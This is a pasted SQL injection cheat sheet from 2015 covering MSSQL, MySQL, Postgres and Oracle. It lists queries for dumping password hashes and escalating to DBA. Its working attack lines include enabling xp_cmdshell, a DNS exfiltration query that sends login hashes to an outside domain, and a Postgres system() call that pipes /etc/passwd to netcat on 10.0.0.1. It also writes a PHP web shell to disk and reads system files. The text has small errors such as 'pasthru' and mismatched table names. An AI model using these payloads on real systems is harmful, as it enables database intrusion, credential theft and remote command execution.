



## SQL INJECTION CHEAT SHEET



BILGUUNBICKTIVISM



SEP 22ND, 2015



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```
1. MSSQL INJECTION CHEAT SHEET
2.
3.
4.
5. Version SELECT @@version
6. Comments      SELECT 1 -- comment
7. SELECT /*comment*/1
8. Current User   SELECT user_name();
9. SELECT system_user;
10. SELECT user;
11. SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
12. List Users     SELECT name FROM master..syslogins
13. List Password Hashes SELECT name, password FROM master..sysxlogins -- priv, mssql 2000;
14. SELECT name, master.dbo.fn_varbinto hexstr(password) FROM master..sysxlogins -- priv, mssql 2000. Need to convert to hex to return
    hashes in MSSQL error message / some version of query analyzer.
```

```
15. SELECT name, password_hash FROM master.sys.sql_logins – priv, mssql 2005;
16. SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins – priv, mssql 2005
17. Password Cracker      MSSQL 2000 and 2005 Hashes are both SHA1-based.  phrasen|drescher can crack these.
18. List Privileges – current privs on a particular object in 2005, 2008
19. SELECT permission_name FROM master..fn_my_permissions(null, 'DATABASE'); – current database
20. SELECT permission_name FROM master..fn_my_permissions(null, 'SERVER'); – current server
21. SELECT permission_name FROM master..fn_my_permissions('master..syslogins', 'OBJECT'); –permissions on a table
22. SELECT permission_name FROM master..fn_my_permissions('sa', 'USER');
23. –permissions on a user– current privs in 2005, 2008
24. SELECT is_srvrolemember('sysadmin');
25. SELECT is_srvrolemember('dbcreator');
26. SELECT is_srvrolemember('bulkadmin');
27. SELECT is_srvrolemember('diskadmin');
28. SELECT is_srvrolemember('processadmin');
29. SELECT is_srvrolemember('serveradmin');
30. SELECT is_srvrolemember('setupadmin');
31. SELECT is_srvrolemember('securityadmin');
32. – who has a particular priv? 2005, 2008
33. SELECT name FROM master..syslogins WHERE denylogin = 0;
34. SELECT name FROM master..syslogins WHERE hasaccess = 1;
35. SELECT name FROM master..syslogins WHERE isntname = 0;
36. SELECT name FROM master..syslogins WHERE isntgroup = 0;
37. SELECT name FROM master..syslogins WHERE sysadmin = 1;
38. SELECT name FROM master..syslogins WHERE securityadmin = 1;
39. SELECT name FROM master..syslogins WHERE serveradmin = 1;
40. SELECT name FROM master..syslogins WHERE setupadmin = 1;
41. SELECT name FROM master..syslogins WHERE processadmin = 1;
42. SELECT name FROM master..syslogins WHERE diskadmin = 1;
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43. SELECT name FROM master..syslogins WHERE dbcreator = 1;

44. SELECT name FROM master..syslogins WHERE bulkadmin = 1;

45. List DBA Accounts       SELECT is\_srvrolemember('sysadmin'); – is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role. Also try 'bulkadmin', 'systemadmin' and other values from the documentation

46. SELECT is\_srvrolemember('sysadmin', 'sa'); – is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.

47. SELECT name FROM master..syslogins WHERE sysadmin = '1' – tested on 2005

48. Current Database       SELECT DB\_NAME()

49. List Databases   SELECT name FROM master..sysdatabases;

50. SELECT DB\_NAME(N); – for N = 0, 1, 2, ...

51. List Columns       SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable'); – for the current DB only

52. SELECT master..syscolumns.name, TYPE\_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; – list column names and types for master..sometable

53. List Tables       SELECT name FROM master..sysobjects WHERE xtype = 'U'; – use xtype = 'V' for views

54. SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';

55. SELECT master..syscolumns.name, TYPE\_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; – list column names and types for master..sometable

56. Find Tables From Column Name   – NB: This example works only for the current database. If you wan't to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects).

57. SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND syscolumns.name LIKE '%PASSWORD%' – this lists table, column for each column containing the word 'password'

58. Select Nth Row   SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC – gets 9th row

59. Select Nth Char   SELECT substring('abcd', 3, 1) – returns c

60. Bitwise AND       SELECT 6 & 2 – returns 2

61. SELECT 6 & 1 – returns 0

62. ASCII Value -> Char      `SELECT char(0x41) - returns A`

63. Char -> ASCII Value      `SELECT ascii('A') - returns 65`

64. Casting `SELECT CAST('1' as int);`

65. `SELECT CAST(1 as char)`

66. String Concatenation      `SELECT 'A' + 'B' - returns AB`

67. If Statement      `IF (1=1) SELECT 1 ELSE SELECT 2 - returns 1`

68. Case Statement      `SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END - returns 1`

69. Avoiding Quotes `SELECT char(65)+char(66) - returns AB`

70. Time Delay      `WAITFOR DELAY '0:0:5' - pause for 5 seconds`

71. Make DNS Requests      `declare @host varchar(800); select @host = name FROM master..syslogins; exec('master..xp_getfiledetails "\' + @host + 'c$boot.ini'');` - nonpriv, works on 2000  
`declare @host varchar(800); select @host = name + '-' + master.sys.fn_varbinto hexstr(password_hash) + '.2.pentestmonkey.net' from sys.sql_logins; exec('xp_fileexist "\' + @host + 'c$boot.ini'');` - priv, works on 2005- NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary.

72. - Also check out the DNS tunnel feature of sqlninja

73. Command Execution      `EXEC xp_cmdshell 'net user';` - priv  
 On MSSQL 2005 you may need to reactivate xp\_cmdshell first as it's disabled by default:

74. `EXEC sp_configure 'show advanced options', 1; - priv`

75. `RECONFIGURE; - priv`

76. `EXEC sp_configure 'xp_cmdshell', 1; - priv`

77. `RECONFIGURE; - priv`

78. Local File Access      `CREATE TABLE mydata (line varchar(8000));`

79. `BULK INSERT mydata FROM 'c:boot.ini';`

80. `DROP TABLE mydata;`

81. Hostname, IP Address      `SELECT HOST_NAME()`

82. Create Users      `EXEC sp_addlogin 'user', 'pass'; - priv`

83. Drop Users      `EXEC sp_droplogin 'user'; - priv`

84. Make User DBA      `EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin; - priv`

```
85. Location of DB files      EXEC sp_helpdb master; -location of master.mdf
86. EXEC sp_helpdb pubs; -location of pubs.mdf
87. Default/System Databases      northwind
88. model
89. msdb
90. pubs – not on sql server 2005
91. tempdb
92.
93. -----
94.
95. MYSQL INJECTION CHEAT SHEET
96.
97. Version SELECT @@version
98. Comments      SELECT 1; #comment
99. SELECT /*comment*/1;
100. Current User   SELECT user();
101. SELECT system_user();
102. List Users      SELECT user FROM mysql.user; – priv
103. List Password Hashes      SELECT host, user, password FROM mysql.user; – priv
104. Password Cracker      John the Ripper will crack MySQL password hashes.
105. List Privileges SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; – list user privs
SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv,
File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv,
Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; – priv, list user privs
SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; – list privs on databases (schemas)
SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; – list privs on columns
106. List DBA Accounts      SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type =
'SUPER';
SELECT host, user FROM mysql.user WHERE Super_priv = 'Y'; # priv
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107. Current Database      SELECT database()
108. List Databases      SELECT schema_name FROM information_schema.schemata; -- for MySQL >= v5.0
109. SELECT distinct(db) FROM mysql.db -- priv
110. List Columns        SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND
table_schema != 'information_schema'
111. List Tables         SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema !=
'information_schema'
112. Find Tables From Column Name      SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'username'; --
find table which have a column called 'username'
113. Select Nth Row      SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
114. SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0
115. Select Nth Char     SELECT substr('abcd', 3, 1); # returns c
116. Bitwise AND         SELECT 6 & 2; # returns 2
117. SELECT 6 & 1; # returns 0
118. ASCII Value -> Char   SELECT char(65); # returns A
119. Char -> ASCII Value   SELECT ascii('A'); # returns 65
120. Casting SELECT cast('1' AS unsigned integer);
121. SELECT cast('123' AS char);
122. String Concatenation  SELECT CONCAT('A','B'); #returns AB
123. SELECT CONCAT('A','B','C'); # returns ABC
124. If Statement        SELECT if(1=1,'foo','bar'); -- returns 'foo'
125. Case Statement      SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; # returns A
126. Avoiding Quotes     SELECT 0x414243; # returns ABC
127. Time Delay          SELECT BENCHMARK(1000000,MD5('A'));
128. SELECT SLEEP(5); # >= 5.0.12
129. Make DNS Requests    Impossible?
130. Command Execution    If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading
a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains
```

exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform.

131. Local File Access       ...' UNION ALL SELECT LOAD\_FILE('/etc/passwd') – priv, can only read world-readable files.

132. SELECT \* FROM mytable INTO outfile '/tmp/somefile'; – priv, write to file system

133. Hostname, IP Address     SELECT @@hostname;

134. Create Users       CREATE USER test1 IDENTIFIED BY 'pass1'; – priv

135. Delete Users       DROP USER test1; – priv

136. Make User DBA       GRANT ALL PRIVILEGES ON \*.\* TO test1@'%'; – priv

137. Location of DB files    SELECT @@datadir;

138. Default/System Databases       information\_schema (>= mysql 5.0)

139. mysql

140.

141. -----

142. Postgres SQL Injection Cheat Sheet

143. Version SELECT version()

144. Comments       SELECT 1; –comment

145. SELECT /\*comment\*/1;

146. Current User       SELECT user;

147. SELECT current\_user;

148. SELECT session\_user;

149. SELECT username FROM pg\_user;

150. SELECT getpgusername();

151. List Users       SELECT username FROM pg\_user

152. List Password Hashes     SELECT username, passwd FROM pg\_shadow – priv

153. Password Cracker       MDCrack can crack PostgreSQL's MD5-based passwords.

154. List Privileges SELECT username, usecreatedb, usesuper, usecatupd FROM pg\_user

155. List DBA Accounts       SELECT username FROM pg\_user WHERE usesuper IS TRUE

156. Current Database       SELECT current\_database()

157. List Databases `SELECT datname FROM pg_database`

158. List Columns `SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public')`

159. List Tables `SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r',") AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND pg_catalog.pg_table_is_visible(c.oid)`

160. Find Tables From Column Name If you want to list all the table names that contain a column LIKE '%password%':  
`SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND attname LIKE '%password%';`

161. Select Nth Row `SELECT username FROM pg_user ORDER BY username LIMIT 1 OFFSET 0; -- rows numbered from 0`

162. `SELECT username FROM pg_user ORDER BY username LIMIT 1 OFFSET 1;`

163. Select Nth Char `SELECT substr('abcd', 3, 1); -- returns c`

164. Bitwise AND `SELECT 6 & 2; -- returns 2`

165. `SELECT 6 & 1; --returns 0`

166. ASCII Value -> Char `SELECT chr(65);`

167. Char -> ASCII Value `SELECT ascii('A');`

168. Casting `SELECT CAST(1 as varchar);`

169. `SELECT CAST('1' as int);`

170. String Concatenation `SELECT 'A' || 'B'; -- returnsAB`

171. If Statement IF statements only seem valid inside functions, so aren't much use for SQL injection. See CASE statement instead.

172. Case Statement `SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; -- returns A`

173. Avoiding Quotes `SELECT CHR(65)||CHR(66); -- returns AB`

174. Time Delay `SELECT pg_sleep(10); -- postgres 8.2+ only`

175. `CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(10);` -priv, create your own sleep function. Taken from here .

176. Make DNS Requests Generally not possible in postgres. However if contrib/dblink is installed (it isn't by default) it can be used to resolve hostnames (assuming you have DBA rights):



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177. SELECT * FROM dblink('host=put.your.hostname.here user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);
178. Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. "ping
pentestmonkey.net".
179. Command Execution      CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; --
privSELECT system('cat /etc/passwd | nc 10.0.0.1 8080'); -- priv, commands run as postgres/pgsql OS-level user
180. Local File Access      CREATE TABLE mydata(t text);
181. COPY mydata FROM '/etc/passwd'; -- priv, can read files which are readable by postgres OS-level user
182. ...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; -- get data back one row at a time
183. ...' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; -- get data back one row at a time ...
184. DROP TABLE mytest;Write to a file:
185. CREATE TABLE mytable (mycol text);
186. INSERT INTO mytable(mycol) VALUES ('<? pasthru($_GET[cmd]); ?>');
187. COPY mytable (mycol) TO '/tmp/test.php'; -priv, write files as postgres OS-level user. Generally you won't be able to write to the
web root, but it's always work a try.
188. - priv user can also read/write files by mapping libc functions
189. Hostname, IP Address      SELECT inet_server_addr(); -- returns db server IP address (or null if using local connection)
190. SELECT inet_server_port(); -- returns db server IP address (or null if using local connection)
191. Create Users      CREATE USER test1 PASSWORD 'pass1'; -- priv
192. CREATE USER test1 PASSWORD 'pass1' CREATEUSER; -- priv, grant some privs at the same time
193. Drop Users      DROP USER test1; -- priv
194. Make User DBA      ALTER USER test1 CREATEUSER CREATEDB; -- priv
195. Location of DB files      SELECT current_setting('data_directory'); -- priv
196. SELECT current_setting('hba_file'); -- priv
197. Default/System Databases      template0
198. template1
199.
200. -----
201. ORACLE SQL INJECTION CHEAT SHEET

```

```
202.
203. Version SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
204. SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
205. SELECT version FROM v$instance;
206. Comments      SELECT 1 FROM dual – comment
207. – NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name 'dual' when we're not actually
    selecting from a table.
208. Current User   SELECT user FROM dual
209. List Users     SELECT username FROM all_users ORDER BY username;
210. SELECT name FROM sys.user$; – priv
211. List Password Hashes SELECT name, password, astatus FROM sys.user$ – priv, <= 10g. astatus tells you if acct is locked
212. SELECT name,spare4 FROM sys.user$ – priv, 11g
213. Password Cracker  checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10.
214. List Privileges SELECT * FROM session_privs; – current privs
215. SELECT * FROM dba_sys_privs WHERE grantee = 'DBSNMP'; – priv, list a user's privs
216. SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY'; – priv, find users with a particular priv
217. SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
218. List DBA Accounts SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES'; – priv, list DBAs, DBA roles
219. Current Database SELECT global_name FROM global_name;
220. SELECT name FROM v$database;
221. SELECT instance_name FROM v$instance;
222. SELECT SYS.DATABASE_NAME FROM DUAL;
223. List Databases SELECT DISTINCT owner FROM all_tables; – list schemas (one per user)
224. – Also query TNS listener for other databases. See tnsqcmd (services | status).
225. List Columns SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';
226. SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';
227. List Tables SELECT table_name FROM all_tables;
228. SELECT owner, table_name FROM all_tables;
```

229. Find Tables From Column Name     SELECT owner, table\_name FROM all\_tab\_columns WHERE column\_name LIKE '%PASS%'; – NB: table names are upper case

230. Select Nth Row     SELECT username FROM (SELECT ROWNUM r, username FROM all\_users ORDER BY username) WHERE r=9; – gets 9th row (rows numbered from 1)

231. Select Nth Char     SELECT substr('abcd', 3, 1) FROM dual; – gets 3rd character, 'c'

232. Bitwise AND     SELECT bitand(6,2) FROM dual; – returns 2

233.     SELECT bitand(6,1) FROM dual; – returns 0

234. ASCII Value -> Char     SELECT chr(65) FROM dual; – returns A

235. Char -> ASCII Value     SELECT ascii('A') FROM dual; – returns 65

236. Casting     SELECT CAST(1 AS char) FROM dual;

237.     SELECT CAST('1' AS int) FROM dual;

238. String Concatenation     SELECT 'A' || 'B' FROM dual; – returns AB

239. If Statement     BEGIN IF 1=1 THEN dbms\_lock.sleep(3); ELSE dbms\_lock.sleep(0); END IF; END; – doesn't play well with SELECT statements

240. Case Statement     SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; – returns 1

241.     SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; – returns 2

242. Avoiding Quotes     SELECT chr(65) || chr(66) FROM dual; – returns AB

243. Time Delay     BEGIN DBMS\_LOCK.SLEEP(5); END; – priv, can't seem to embed this in a SELECT

244.     SELECT UTL\_INADDR.get\_host\_name('10.0.0.1') FROM dual; – if reverse looks are slow

245.     SELECT UTL\_INADDR.get\_host\_address('blah.attacker.com') FROM dual; – if forward lookups are slow

246.     SELECT UTL\_HTTP.REQUEST('http://google.com') FROM dual; – if outbound TCP is filtered / slow

247. – Also see Heavy Queries to create a time delay

248. Make DNS Requests     SELECT UTL\_INADDR.get\_host\_address('google.com') FROM dual;

249.     SELECT UTL\_HTTP.REQUEST('http://google.com') FROM dual;

250. Command Execution     Java can be used to execute commands if it's installed. ExtProc can sometimes be used too, though it normally failed for me. :-(

251. Local File Access     UTL\_FILE can sometimes be used. Check that the following is non-null:

```
252. SELECT value FROM v$parameter2 WHERE name = 'utl_file_dir';Java can be used to read and write files if it's installed (it is not
available in Oracle Express).
253. Hostname, IP Address      SELECT UTL_INADDR.get_host_name FROM dual;
254. SELECT host_name FROM v$instance;
255. SELECT UTL_INADDR.get_host_address FROM dual; – gets IP address
256. SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; – gets hostnames
257. Location of DB files      SELECT name FROM V$DATAFILE;
258. Default/System Databases      SYSTEM
259. SYSAUX
```

## RAW Paste Data

MSSQL INJECTION CHEAT SHEET

```
Version SELECT @@version
Comments      SELECT 1 – comment
SELECT /*comment*/1
Current User   SELECT user_name();
SELECT system_user;
```



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